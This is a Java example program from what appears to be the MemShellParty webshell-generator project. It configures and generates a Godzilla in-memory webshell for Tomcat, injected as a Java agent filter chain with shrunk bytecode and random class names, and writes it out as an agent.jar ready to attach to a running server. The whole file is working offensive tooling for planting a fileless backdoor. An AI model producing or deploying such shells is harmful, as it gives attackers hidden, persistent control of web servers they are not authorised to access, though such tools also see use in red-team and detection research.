MemShellParty/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java

package com.reajason.javaweb;

import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker;

import java.nio.file.Files;
import java.nio.file.Paths;

import static com.reajason.javaweb.Server.Tomcat;

/**
 * @author ReaJason
 * @since 2025/4/6
 */
public class GodzillaAgent {

    public static void main(String[] args) throws Exception {
        ShellConfig shellConfig = ShellConfig.builder()
                .server(Tomcat)
                .shellTool(ShellTool.Godzilla)
                .shellType(ShellType.AGENT_FILTER_CHAIN)
                .shrink(true) // 缩小字节码
                .debug(false) // 关闭调试
                .build();

        InjectorConfig injectorConfig = InjectorConfig.builder()
//                .urlPattern("/*")  // 自定义 urlPattern，默认就是 /*
//                .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名，默认为空时随机生成
//                .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名，默认为空时随机生成
                .build();

        GodzillaConfig godzillaConfig = GodzillaConfig.builder()
//                .pass("pass")
//                .key("key")
//                .headerName("User-Agent")
//                .headerValue("test")
                .build();

        MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);

        System.out.println("注入器类名：" + result.getInjectorClassName());
        System.out.println("内存马类名：" + result.getShellClassName());

        System.out.println(result.getShellConfig());
        System.out.println(result.getShellToolConfig());

        byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
        Files.write(Paths.get("agent.jar"), agentJarBytes);
    }
}